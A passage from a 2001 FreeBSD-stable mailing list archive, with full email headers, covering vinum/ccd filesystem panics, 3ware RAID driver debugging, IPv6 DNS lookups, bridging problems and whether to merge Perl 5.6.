owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've just installed 4.3-BETA2 and compiled a custom kernel with IPv6 disabled and have nothing IPv6 related in /etc/rc.conf. I'm noticing slow telnet and fetch connect times, and after snooping with Ethereal, found that it's trying to resolve my FQ hostname via DNS with a type 'AAAA' (IPv6?) before falling back to type 'A'. 4.2-R doesn't appear to do this. Is this a config problem on my part, or maybe a downstream DNS that's outdated, or a bug? Thanks for any help, Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:16:13 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ptavv.es.net (ptavv.es.net [198.128.4.29]) by hub.freebsd.org (Postfix) with ESMTP id 6566637B719; Thu, 15 Mar 2001 14:16:08 -0800 (PST) (envelope-from oberman@ptavv.es.net) Received: from ptavv.es.net (localhost [127.0.0.1]) by ptavv.es.net (8.10.1/8.10.1) with ESMTP id f2FMFFs03674; Thu, 15 Mar 2001 14:15:15 -0800 (PST) Message-Id: <200103152215.f2FMFFs03674@ptavv.es.net> To: Cy Schubert - ITSD Open Systems Group Cc: David Kelly , Pete French , mobile@FreeBSD.ORG, sos@freebsd.dk, stable@FreeBSD.ORG Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Your message of "Thu, 15 Mar 2001 11:49:29 PST." <200103151949.f2FJnVF13620@cwsys.cwsent.com> Date: Thu, 15 Mar 2001 14:15:15 -0800 From: "Kevin Oberman" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > From: Cy Schubert - ITSD Open Systems Group > Date: Thu, 15 Mar 2001 11:49:29 -0800 > Sender: owner-freebsd-mobile@FreeBSD.ORG > > This is one of the three big reasons we (at our shop) are migrating our > infrastructure servers (kerberos, console, file, web, firewall/proxy, > etc.) from Linux to FreeBSD. As Linux (specifically RedHat) comes with > more toys, bells and whistles, Linux will remain our desktop standard, > not to mention the sure-to-be-lost political battle. With the arrival of Darwin, I would not be quite sure about the political battle. R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:24:41 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id E76BC37B71F for ; Thu, 15 Mar 2001 14:24:34 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 11664 invoked by uid 0); 15 Mar 2001 22:24:33 -0000 Date: Thu, 15 Mar 2001 23:24:33 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: yet another vinum panic (was How to debug - find error?) X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <11448.984695073@www17.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I just did another view tests. This time I took one single disk and copied till the disk was smoking; without errors. The I created a concat plex with vinum. A view Gigs later, still on the first disk: mode = 070140, inum=10332741, fs=/backup panic: ffs_valloc: dup alloc Please can anyone help me! I really need this box running. Is there any other volume manager except ccd/vinum? Thanks, -Harry -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:30:35 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (adsl-64-166-71-242.dsl.sntc01.pacbell.net [64.166.71.242]) by hub.freebsd.org (Postfix) with ESMTP id 8133137B71C for ; Thu, 15 Mar 2001 14:30:30 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2F7UWE02140; Wed, 14 Mar 2001 23:30:33 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103150730.f2F7UWE02140@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Douglas K. Rand" Cc: freebsd-stable@freebsd.org, bryanh@meridian-enviro.com Subject: Re: 3ware problems In-reply-to: Your message of "Thu, 15 Mar 2001 01:10:54 CST." <3AB06AFE.68273631@meridian-enviro.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Mar 2001 23:30:32 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > If you've done this and you're still having problems, build the driver > > with TWE_DEBUG enabled, and boot a kernel with DDB enabled. Then, when > > mysql sticks, break to DDB and say > > > > db> call twe_report > > Well, it took 6 hours, but we finally managed to get mysqd to stick again. > Here is the output from twe_report: > > db> call twe_report > twe0: status 57007720 > twe0: current max > twe0: free 0254 0255 > twe0: ready 0000 0000 > twe0: busy 0001 0130 Drat. There it is; you've got a command that looks like it's stuck in the adapter. > twe0: complete 0000 0014 > twe0: bioq 0000 0001 > twe0: AEN queue head 1 tail 0 > twed: total bio count in 2330109 out 2330108 I didn't see you respond to Mike T - are you using 64k or 128k stripes? If the latter, try changing the value of TWE_Q_LENGTH in /sys/dev/twe/twereg.h to 100 and see if you can reproduce it. I am worrying about firmware here at the moment; I don't *think* there are any opportunities in the driver to lose a command. If this doesn't yield anything (you could try the above anyway), I'll try to write you some more debugging code to work out what, if anything, is unique about the command(s) that are getting stuck. Thanks for your patience. Regards, Mike -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:37:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 35C1037B719 for ; Thu, 15 Mar 2001 14:37:19 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2FMb7t48997; Thu, 15 Mar 2001 14:37:07 -0800 (PST) (envelope-from dillon) Date: Thu, 15 Mar 2001 14:37:07 -0800 (PST) From: Matt Dillon Message-Id: <200103152237.f2FMb7t48997@earth.backplane.com> To: Harald Schmalzbauer Cc: stable@FreeBSD.ORG Subject: Re: yet another vinum panic (was How to debug - find error?) References: <11448.984695073@www17.gmx.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Hello, : :I just did another view tests. This time I took one single disk and copied :till the disk was smoking; without errors. :The I created a concat plex with vinum. A view Gigs later, still on the :first disk: : :mode = 070140, inum=10332741, fs=/backup :panic: ffs_valloc: dup alloc : :Please can anyone help me! : :I really need this box running. : :Is there any other volume manager except ccd/vinum? : :Thanks, : :-Harry Harry, could you describe the exact configuration of your disks and vinum, and describe (in general) the contents of the disk you were copying and the exact test you were doing that reproduced the above problem? ccd and vinum are the only choices at the moment. Were you getting similar problems with ccd? -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:40:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (adsl-64-166-71-242.dsl.sntc01.pacbell.net [64.166.71.242]) by hub.freebsd.org (Postfix) with ESMTP id 2790537B71A for ; Thu, 15 Mar 2001 14:40:43 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2FMgVr01750; Thu, 15 Mar 2001 14:42:32 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103152242.f2FMgVr01750@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Vivek Khera Cc: stable@freebsd.org Subject: Re: Dell PERC3-DCL support? In-reply-to: Your message of "Thu, 15 Mar 2001 14:50:36 EST." <15025.7436.951696.451824@onceler.kciLink.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 15 Mar 2001 14:42:31 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > According to the release notes for 4.2-BETA (as of today), the Dell > PERC3 is supported in its Di, QC, and Si variants. Dell is currently > selling what they call PERC3-DCL (Presumably for Dual Channel). Is > this also supported? It is found on their new 1U PowerEdge 1550 > boxes. I don't know; I would expect that it's another AMI controller, in which case it should be supported. I can't find any documentation on Dell's (techically abysmal) site; an eyewitness report would be helpful. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:46:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id EA8C737B71A for ; Thu, 15 Mar 2001 14:46:23 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f2FMkMi20301; Thu, 15 Mar 2001 14:46:22 -0800 (PST) Date: Thu, 15 Mar 2001 14:46:22 -0800 From: Alfred Perlstein To: Harald Schmalzbauer Cc: stable@FreeBSD.ORG Subject: Re: yet another vinum panic (was How to debug - find error?) Message-ID: <20010315144621.D29888@fw.wintelcom.net> References: <11448.984695073@www17.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <11448.984695073@www17.gmx.net>; from Harald.Schmalzbauer@gmx.de on Thu, Mar 15, 2001 at 11:24:33PM +0100 X-all-your-base: are belong to us. Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Harald Schmalzbauer [010315 14:25] wrote: > Hello, > > I just did another view tests. This time I took one single disk and copied > till the disk was smoking; without errors. > The I created a concat plex with vinum. A view Gigs later, still on the > first disk: > > mode = 070140, inum=10332741, fs=/backup > panic: ffs_valloc: dup alloc > > Please can anyone help me! > > I really need this box running. > > Is there any other volume manager except ccd/vinum? I pointed you at a URL that explains how to get a meaningful crashdump to us. In the case of _both_ vinum and CCD causing problems, it's more than likely that you have some problems with your disk setup. What kind of disks are these? Can you point us to a page that describes your system in more detail? -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 14:48:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id A1B3A37B718 for ; Thu, 15 Mar 2001 14:48:16 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 22328 invoked by uid 0); 15 Mar 2001 22:48:14 -0000 Date: Thu, 15 Mar 2001 23:48:15 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: Re: yet another vinum panic (was How to debug - find error?) X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <18530.984696495@www10.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello Matt, following configuration: Supermicro 370DER board, PIII733, 512MB regECC, 1 SCSI RAID5 on Channel 1, 4 ADR50 TapeDrives on Channel2, 4 80GB IDE Drives to onboard IDE. This box has to collect data overnight (~250G at the moment) for caching it to push it on tape at the weekend. Therefore I need the four 80G in one 320G Volume. Last weekend the box died silently when I did a fsck on any VolumeManager. This was a BIOS error from Supermicro. They sent me a new one, now transferrate is doubled and nothing like that happens. But when I use vinum/ccd (doesn't matter which one) after some dozends of Gigs, the box crashes. No matter whether I use concat or striped. For testing I'm simultaniously coping data form the RAID and from a NFS mounted disk to the striped volume because only using slow NFS, the box lives longer. Here my vinum.conf: drive d1 device /dev/ad0e drive d2 device /dev/ad1e drive d3 device /dev/ad2e drive d4 device /dev/ad3e volume bck plex org concat sd length 78159m drive d1 sd length 78159m drive d3 sd length 78159m drive d2 sd length 78159m drive d4 Here my ccd.conf: ccd0 128 none /dev/ad0e /dev/ad2e /dev/ad1e /dev/ad3e Thanks, -Harry -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 15: 3: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by hub.freebsd.org (Postfix) with SMTP id D424537B718 for ; Thu, 15 Mar 2001 15:02:59 -0800 (PST) (envelope-from Harald.Schmalzbauer@gmx.de) Received: (qmail 28815 invoked by uid 0); 15 Mar 2001 23:02:58 -0000 Date: Fri, 16 Mar 2001 00:02:57 +0100 (MET) From: Harald Schmalzbauer To: stable@freebsd.org MIME-Version: 1.0 Subject: Re: yet another vinum panic (was How to debug - find error?) X-Priority: 3 (Normal) X-Authenticated-Sender: #0000301138@gmx.net X-Authenticated-IP: [212.63.129.190] Message-ID: <989.984697377@www10.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >> Is there any other volume manager except ccd/vinum? > >I pointed you at a URL that explains how to get a meaningful >crashdump to us. > >In the case of _both_ vinum and CCD causing problems, it's more >than likely that you have some problems with your disk setup. > >What kind of disks are these? Can you point us to a page that >describes your system in more detail? Hello, sorry, I'm no programmer and I don't know what of these possibilities could be useful. I made a kernel with debuging. My swap is 1G in size. But when the system crashes, I can't see it anything doing. Tell me how I can provide you with info. Thank you, -Harry -- Sent through GMX FreeMail - http://www.gmx.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 15:32: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id 2774037B719 for ; Thu, 15 Mar 2001 15:31:57 -0800 (PST) (envelope-from grog@lemis.com) Received: by wantadilla.lemis.com (Postfix, from userid 1004) id D5B456AC94; Fri, 16 Mar 2001 10:01:54 +1030 (CST) Date: Fri, 16 Mar 2001 10:01:54 +1030 From: Greg Lehey To: Matt Dillon , Harald Schmalzbauer Cc: stable@FreeBSD.ORG Subject: Re: yet another vinum panic (was How to debug - find error?) Message-ID: <20010316100154.T23592@wantadilla.lemis.com> References: <989.984697377@www10.gmx.net> <18530.984696495@www10.gmx.net> <11448.984695073@www17.gmx.net> <200103152237.f2FMb7t48997@earth.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200103152237.f2FMb7t48997@earth.backplane.com>; from dillon@earth.backplane.com on Thu, Mar 15, 2001 at 02:37:07PM -0800 Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, 15 March 2001 at 14:37:07 -0800, Matt Dillon wrote: >> Hello, >> >> I just did another view tests. This time I took one single disk and copied >> till the disk was smoking; without errors. >> The I created a concat plex with vinum. A view Gigs later, still on the >> first disk: >> >> mode = 070140, inum=10332741, fs=/backup >> panic: ffs_valloc: dup alloc >> >> Please can anyone help me! >> >> I really need this box running. >> >> Is there any other volume manager except ccd/vinum? > > Harry, could you describe the exact configuration of your disks and vinum, > and describe (in general) the contents of the disk you were copying and > the exact test you were doing that reproduced the above problem? > > ccd and vinum are the only choices at the moment. Were you getting > similar problems with ccd? On Thursday, 15 March 2001 at 23:48:15 +0100, Harald Schmalzbauer wrote: > Hello Matt, > > following configuration: > > Supermicro 370DER board, PIII733, 512MB regECC, 1 SCSI RAID5 on Channel 1, 4 > ADR50 TapeDrives on Channel2, 4 80GB IDE Drives to onboard IDE. *sigh* We'd like to help, but we need your cooperation. I didn't see Matt's message, but I expect it included a reference to http://www.vinumvm.org/vinum/how-to-debug.html. There you will read: Please don't supply the following information unless I ask for it: * Your Vinum configuration file, unless your problem is that you can't start Vinum at all. > Here my ccd.conf: > > ccd0 128 none /dev/ad0e /dev/ad2e /dev/ad1e /dev/ad3e You still didn't answer Matt's question: does it die with ccd as well? On Friday, 16 March 2001 at 0:02:57 +0100, Harald Schmalzbauer wrote: >>> Is there any other volume manager except ccd/vinum? >> >> I pointed you at a URL that explains how to get a meaningful >> crashdump to us. >> >> In the case of _both_ vinum and CCD causing problems, it's more >> than likely that you have some problems with your disk setup. >> >> What kind of disks are these? Can you point us to a page that >> describes your system in more detail? > > sorry, I'm no programmer and I don't know what of these > possibilities could be useful. I made a kernel with debuging. My > swap is 1G in size. But you can read what Matt asked you, right? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 16:53:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from genesis.tao.org.uk (genesis.tao.org.uk [212.135.162.62]) by hub.freebsd.org (Postfix) with ESMTP id 3716837B719 for ; Thu, 15 Mar 2001 16:53:27 -0800 (PST) (envelope-from joe@tao.org.uk) Received: from tao.org.uk (unknown [194.242.131.94]) by genesis.tao.org.uk (Postfix) with ESMTP id 8E45D4A24; Fri, 16 Mar 2001 00:53:21 +0000 (GMT) Received: by tao.org.uk (Postfix, from userid 100) id 317D1310C; Fri, 16 Mar 2001 00:48:20 +0000 (GMT) Date: Fri, 16 Mar 2001 00:48:20 +0000 From: Josef Karthauser To: Sean Chittenden Cc: stable@FreeBSD.ORG Subject: Re: Perl 5.6 merged soon? Message-ID: <20010316004820.C4241@tao.org.uk> Mail-Followup-To: Josef Karthauser , Sean Chittenden , stable@FreeBSD.ORG References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="rz+pwK2yUstbofK6" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010315121201.E54243@rand.tgd.net>; from sean-freebsd-stable@chittenden.org on Thu, Mar 15, 2001 at 12:12:01PM -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --rz+pwK2yUstbofK6 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 15, 2001 at 12:12:01PM -0800, Sean Chittenden wrote: >=20 > Cancelling out of perl5.6 builds while doing a package install > in CPAN is getting a bit old... -sc >=20 We've got some code that Anton Berezin has been working on to enhance CPAN interaction being committed to -current soon. This will make CPAN installs play nice with the ports system. If it works out then it will probably be MFC'd before the 5.6.0 version is. For people who want to run perl 5.6.0 on -stable now they should be able to get away with 'NOPERL=3Dtrue' in /etc/make.conf and installing 5.6.0 by hand. What would be nice is for someone to make a port of perl5.6.0 for people who are running -stable. This should be easier than rebuilding the make process for world :). Any takers? Joe --rz+pwK2yUstbofK6 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqxYtMACgkQXVIcjOaxUBbg7ACfQTahrbxBXf3RwZLls+0Y8p8p ZPQAnRtD8VKRdRVx2NfzMVnc4HNlfJBs =I+uN -----END PGP SIGNATURE----- --rz+pwK2yUstbofK6-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 16:57: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.viasoft.com.cn (unknown [61.153.1.177]) by hub.freebsd.org (Postfix) with ESMTP id CD12537B71C for ; Thu, 15 Mar 2001 16:56:56 -0800 (PST) (envelope-from bsddiy@21cn.com) Received: from William ([192.168.1.98]) by mail.viasoft.com.cn (8.9.3/8.9.3) with ESMTP id IAA08638; Fri, 16 Mar 2001 08:53:12 +0800 Date: Fri, 16 Mar 2001 09:04:08 +0800 From: David Xu X-Mailer: The Bat! (v1.48f) Personal Reply-To: David Xu Organization: Viasoft X-Priority: 3 (Normal) Message-ID: <1331110877.20010316090408@21cn.com> To: Keith Stevenson Cc: Sean Chittenden , freebsd-stable@freebsd.org Subject: Re[2]: Perl 5.6 merged soon? In-reply-To: <20010315161158.A7645@osaka.louisville.edu> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010315161158.A7645@osaka.louisville.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello Keith, Friday, March 16, 2001, 5:11:58 AM, you wrote: KS> Issue #1 (which is a show-stopper) KS> ---------------------------------- KS> The perl build process is almost 100% incompatible with FreeBSD's buildworld. KS> To even begin to consider upgrading FreeBSD's perl to v5.6, someone needs to KS> port the build to work with bmake and fit nicely within FreeBSD's buildworld. KS> This requires a fair level of understanding with both bmake and perl's build KS> process. KS> Several months ago, I spent almost 2 weeks trying to make this work. I KS> eventually threw my hands into the air and walked away. This is not a KS> trivial exercise. KS> Once someone has demonstrated how to build perl5.6 in the context of the world, KS> I'm sure that things will proceed much more quickly. KS> Regards, KS> --Keith Stevenson-- if perl needn't in base system, we needn't hack perl and bmake, and can put perl in ports, it seems ksh93 in base system is a solution, this makes base system smaller. could anyone consider it? does ksh93 have license problem for FreeBSD? -- Best regards, David Xu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17: 1:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from veldy.net (w028.z064001117.msp-mn.dsl.cnc.net [64.1.117.28]) by hub.freebsd.org (Postfix) with ESMTP id 7192E37B71A for ; Thu, 15 Mar 2001 17:01:30 -0800 (PST) (envelope-from veldy@veldy.net) Received: from cascade (cascade.veldy.net [192.168.0.1]) by veldy.net (Postfix) with SMTP id 1E88EBA3F for ; Thu, 15 Mar 2001 19:00:39 -0600 (CST) Message-ID: <001101c0adb4$722d3de0$0100a8c0@cascade> From: "Thomas T. Veldhouse" To: Subject: Bridging and IP on one interface Date: Thu, 15 Mar 2001 19:00:08 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I was wondering if anybody else has noticed the following symptoms -- and if this is the expected behavior. I use two Linksys cards (dc driver) in my machine that firewalls my DSL connection. Since I have 4 bridged IP addresses assigned by my ISP (these are non-routed IPs), I have chosen to bridge them across the interfaces. I generally set the internal interface to one of the IP addresses so that I can run basic services like http, smtp, imap, dhcp, dns, etc. I chose the internal interface because I need to run dhcpd on it for my network. This has worked well enough in the past (on and off depending on the state of the bridging code). Currently, it does not work as expected. All machines internal and external can see all the bridged IP addresses OK. However, the machine running the bridge can not see any external (Internet) addresses. I can ping internal addresses just fine, but external addresses are not accessible. I have tried shifting the IP address to the external interface, but then the machine can not see the internal network. It appears the local machine can not communicate across the bridge as the other machines on the network do. This exact setup used to work until I built the world to just prior to 4.3-BETA. I have opened the firewall wide (ipfw add 1 allow all from any to any) -- and I even tried compiling the kernel with the default to accept on firewall rules. Nothing allows communication across the bridge for the local machine. Is this expected behavior? Thank you, Tom Veldhouse veldy@veldy.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17: 7:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from erouter1.it-datacntr.louisville.edu (erouter1.it-datacntr.louisville.edu [136.165.1.15]) by hub.freebsd.org (Postfix) with ESMTP id 3E2AA37B719 for ; Thu, 15 Mar 2001 17:07:56 -0800 (PST) (envelope-from keith.stevenson@louisville.edu) Received: from osaka.louisville.edu (osaka.louisville.edu [136.165.1.114]) by erouter1.it-datacntr.louisville.edu (Postfix) with ESMTP id 6121C2305D; Thu, 15 Mar 2001 20:07:55 -0500 (EST) Received: by osaka.louisville.edu (Postfix, from userid 15) id 92A8518613; Thu, 15 Mar 2001 20:07:54 -0500 (EST) Date: Thu, 15 Mar 2001 20:07:54 -0500 From: Keith Stevenson To: Josef Karthauser Cc: Sean Chittenden , stable@FreeBSD.ORG Subject: Re: Perl 5.6 merged soon? Message-ID: <20010315200754.A8417@osaka.louisville.edu> References: <20010315080445.A57062@clyde.goodleaf.net> <20010315095551E.jkh@osd.bsdi.com> <20010315121201.E54243@rand.tgd.net> <20010316004820.C4241@tao.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010316004820.C4241@tao.org.uk>; from joe@tao.org.uk on Fri, Mar 16, 2001 at 12:48:20AM +0000 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Mar 16, 2001 at 12:48:20AM +0000, Josef Karthauser wrote: > What would be nice is for someone to make a port of perl5.6.0 for > people who are running -stable. This should be easier than > rebuilding the make process for world :). Any takers? I appear to have accidentally spread some bad information. Perl5.6 does appear to be in -CURRENT. My apologies for not checking first. Regards, --Keith Stevenson-- -- Keith Stevenson System Programmer - Data Center Services - University of Louisville keith.stevenson@louisville.edu GPG key fingerprint = 332D 97F0 6321 F00F 8EE7 2D44 00D8 F384 75BB 89AE To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17:25:21 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id EDCA637B71A for ; Thu, 15 Mar 2001 17:25:18 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2G1P6552546; Thu, 15 Mar 2001 17:25:06 -0800 (PST) (envelope-from dillon) Date: Thu, 15 Mar 2001 17:25:06 -0800 (PST) From: Matt Dillon Message-Id: <200103160125.f2G1P6552546@earth.backplane.com> To: Harald Schmalzbauer Cc: stable@FreeBSD.ORG Subject: Re: yet another vinum panic (was How to debug - find error?) References: <18530.984696495@www10.gmx.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :This box has to collect data overnight (~250G at the moment) for caching it :to push it on tape at the weekend. Therefore I need the four 80G in one 320G :Volume. : :Last weekend the box died silently when I did a fsck on any VolumeManager. :This was a BIOS error from Supermicro. They sent me a new one, now :transferrate is doubled and nothing like that happens. : :But when I use vinum/ccd (doesn't matter which one) after some dozends of :Gigs, the box crashes. No matter whether I use concat or striped. For testing :I'm simultaniously coping data form the RAID and from a NFS mounted disk to :the striped volume because only using slow NFS, the box lives longer. : :Here my vinum.conf: :drive d1 device /dev/ad0e :drive d2 device /dev/ad1e :drive d3 device /dev/ad2e :drive d4 device /dev/ad3e The error you reported was related to your '/backup' filesystem. What is /backup represented by? The RAID volume or the vinum/ccd partition? Are the files you are copying lots of little files or a few really big files? Did you use any special filesystem parameters when you newfs'd your machine's filesystems? There are all sorts of possible sources to the problem unfortunately, it may not be possible to easily diagnose it. It could be the RAID, NFS, a bug in the kernel, a bug in the network stack... just about anything. For the last few months I've been trying to track down a problem similar to the one you've just reported with little success. The first thing I would do, if you haven't already, is upgrade to the absolute latest FreeBSD-stable kernel. -Matt :Thanks, : :-Harry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Mar 15 17:25:43 2001 Delivered-To: freebsd-stable@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by 